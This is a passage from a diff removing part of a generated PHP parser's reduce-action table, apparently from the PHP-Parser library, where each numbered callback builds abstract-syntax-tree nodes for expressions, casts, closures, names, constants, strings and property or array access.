Expr\BinaryOp\Identical($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 455 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\NotIdentical($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 456 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Equal($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 457 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\NotEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 458 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Spaceship($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 459 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Smaller($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 460 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\SmallerOrEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 461 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Greater($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 462 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\GreaterOrEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 463 => static function ($self, $stackPos) { - $self->semValue = new Expr\Instanceof_($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 464 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 465 => static function ($self, $stackPos) { - $self->semValue = new Expr\Ternary($self->semStack[$stackPos-(5-1)], $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 466 => static function ($self, $stackPos) { - $self->semValue = new Expr\Ternary($self->semStack[$stackPos-(4-1)], null, $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 467 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Coalesce($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 468 => static function ($self, $stackPos) { - $self->semValue = new Expr\Isset_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 469 => static function ($self, $stackPos) { - $self->semValue = new Expr\Empty_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 470 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 471 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE_ONCE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 472 => static function ($self, $stackPos) { - $self->semValue = new Expr\Eval_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 473 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 474 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE_ONCE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 475 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Int_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 476 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]); - $attrs['kind'] = $self->getFloatCastKind($self->semStack[$stackPos-(2-1)]); - $self->semValue = new Expr\Cast\Double($self->semStack[$stackPos-(2-2)], $attrs); - }, - 477 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\String_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 478 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Array_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 479 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Object_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 480 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Bool_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 481 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Unset_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 482 => static function ($self, $stackPos) { - $self->semValue = $self->createExitExpr($self->semStack[$stackPos-(2-1)], $stackPos-(2-1), $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 483 => static function ($self, $stackPos) { - $self->semValue = new Expr\ErrorSuppress($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 484 => null, - 485 => static function ($self, $stackPos) { - $self->semValue = new Expr\ShellExec($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 486 => static function ($self, $stackPos) { - $self->semValue = new Expr\Print_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 487 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_(null, null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 488 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_($self->semStack[$stackPos-(2-2)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 489 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_($self->semStack[$stackPos-(4-4)], $self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 490 => static function ($self, $stackPos) { - $self->semValue = new Expr\YieldFrom($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 491 => static function ($self, $stackPos) { - $self->semValue = new Expr\Throw_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 492 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-4)], 'returnType' => $self->semStack[$stackPos-(8-6)], 'expr' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 493 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'returnType' => $self->semStack[$stackPos-(9-7)], 'expr' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 494 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => false, 'byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-4)], 'uses' => $self->semStack[$stackPos-(8-6)], 'returnType' => $self->semStack[$stackPos-(8-7)], 'stmts' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 495 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => true, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'uses' => $self->semStack[$stackPos-(9-7)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 496 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'returnType' => $self->semStack[$stackPos-(9-7)], 'expr' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 497 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-6)], 'returnType' => $self->semStack[$stackPos-(10-8)], 'expr' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 498 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => false, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'uses' => $self->semStack[$stackPos-(9-7)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 499 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => true, 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-6)], 'uses' => $self->semStack[$stackPos-(10-8)], 'returnType' => $self->semStack[$stackPos-(10-9)], 'stmts' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 500 => static function ($self, $stackPos) { - $self->semValue = array(new Stmt\Class_(null, ['type' => $self->semStack[$stackPos-(8-2)], 'extends' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])), $self->semStack[$stackPos-(8-3)]); - $self->checkClass($self->semValue[0], -1); - }, - 501 => static function ($self, $stackPos) { - $self->semValue = new Expr\New_($self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 502 => static function ($self, $stackPos) { - list($class, $ctorArgs) = $self->semStack[$stackPos-(2-2)]; $self->semValue = new Expr\New_($class, $ctorArgs, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 503 => static function ($self, $stackPos) { - $self->semValue = new Expr\New_($self->semStack[$stackPos-(2-2)], [], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 504 => null, - 505 => null, - 506 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 507 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-3)]; - }, - 508 => null, - 509 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 510 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 511 => static function ($self, $stackPos) { - $self->semValue = new Node\ClosureUse($self->semStack[$stackPos-(2-2)], $self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 512 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 513 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 514 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 515 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 516 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 517 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 518 => null, - 519 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 520 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 521 => static function ($self, $stackPos) { - $self->semValue = new Name\FullyQualified(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 522 => static function ($self, $stackPos) { - $self->semValue = new Name\Relative(substr($self->semStack[$stackPos-(1-1)], 10), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 523 => null, - 524 => null, - 525 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 526 => static function ($self, $stackPos) { - $self->semValue = new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 527 => null, - 528 => null, - 529 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 530 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); foreach ($self->semValue as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', $self->phpVersion->supportsUnicodeEscapes()); } }; - }, - 531 => static function ($self, $stackPos) { - foreach ($self->semStack[$stackPos-(1-1)] as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', $self->phpVersion->supportsUnicodeEscapes()); } }; $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 532 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 533 => null, - 534 => static function ($self, $stackPos) { - $self->semValue = new Expr\ConstFetch($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 535 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Line($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 536 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\File($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 537 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Dir($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 538 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Class_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 539 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Trait_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 540 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Method($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 541 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Function_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 542 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Namespace_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 543 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Property($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 544 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 545 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(5-1)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 546 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(3-1)], new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)])), $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 547 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Expr\Array_::KIND_SHORT; - $self->semValue = new Expr\Array_($self->semStack[$stackPos-(3-2)], $attrs); - }, - 548 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Expr\Array_::KIND_LONG; - $self->semValue = new Expr\Array_($self->semStack[$stackPos-(4-3)], $attrs); - $self->createdArrays->attach($self->semValue); - }, - 549 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $self->createdArrays->attach($self->semValue); - }, - 550 => static function ($self, $stackPos) { - $self->semValue = Scalar\String_::fromString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]), $self->phpVersion->supportsUnicodeEscapes()); - }, - 551 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; - foreach ($self->semStack[$stackPos-(3-2)] as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '"', $self->phpVersion->supportsUnicodeEscapes()); } }; $self->semValue = new Scalar\InterpolatedString($self->semStack[$stackPos-(3-2)], $attrs); - }, - 552 => static function ($self, $stackPos) { - $self->semValue = $self->parseLNumber($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]), $self->phpVersion->allowsInvalidOctals()); - }, - 553 => static function ($self, $stackPos) { - $self->semValue = Scalar\Float_::fromString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 554 => null, - 555 => null, - 556 => null, - 557 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)]), true); - }, - 558 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(2-1)], '', $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(2-2)], $self->tokenEndStack[$stackPos-(2-2)]), true); - }, - 559 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)]), true); - }, - 560 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 561 => null, - 562 => null, - 563 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 564 => null, - 565 => null, - 566 => null, - 567 => null, - 568 => null, - 569 => null, - 570 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 571 => null, - 572 => null, - 573 => null, - 574 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 575 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 576 => null, - 577 => static function ($self, $stackPos) { - $self->semValue = new Expr\MethodCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 578 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafeMethodCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 579 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 580 => null, - 581 => null, - 582 => null, - 583 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 584 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 585 => null, - 586 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 587 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 588 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable(new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])), $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 589 => static function ($self, $stackPos) { - $var = $self->semStack[$stackPos-(1-1)]->name; $self->semValue = \is_string($var) ? new Node\VarLikeIdentifier($var, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])) : $var; - }, - 590 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 591 => null, - 592 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 593 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 594 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 595 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 596 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 597 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 598 => null, - 599 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 600 => null, - 601 => null, - 602 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 603 => null, - 604 => static function ($self, $stackPos) { - $self->semValue = new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 605 => static function ($self, $stackPos) { - $self->semValue = new Expr\List_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); $self->semValue->setAttribute('kind', Expr\List_::KIND_LIST); - $self->postprocessList($self->semValue); - }, - 606 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $end = count($self->semValue)-1; if ($self->semValue[$end]->value instanceof Expr\Error) array_pop($self->semValue); - }, - 607 => null, - 608 => static function ($self, $stackPos) { - /* do nothing -- prevent default action of $$=$self->semStack[$1]. See $551. */ - }, - 609 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = 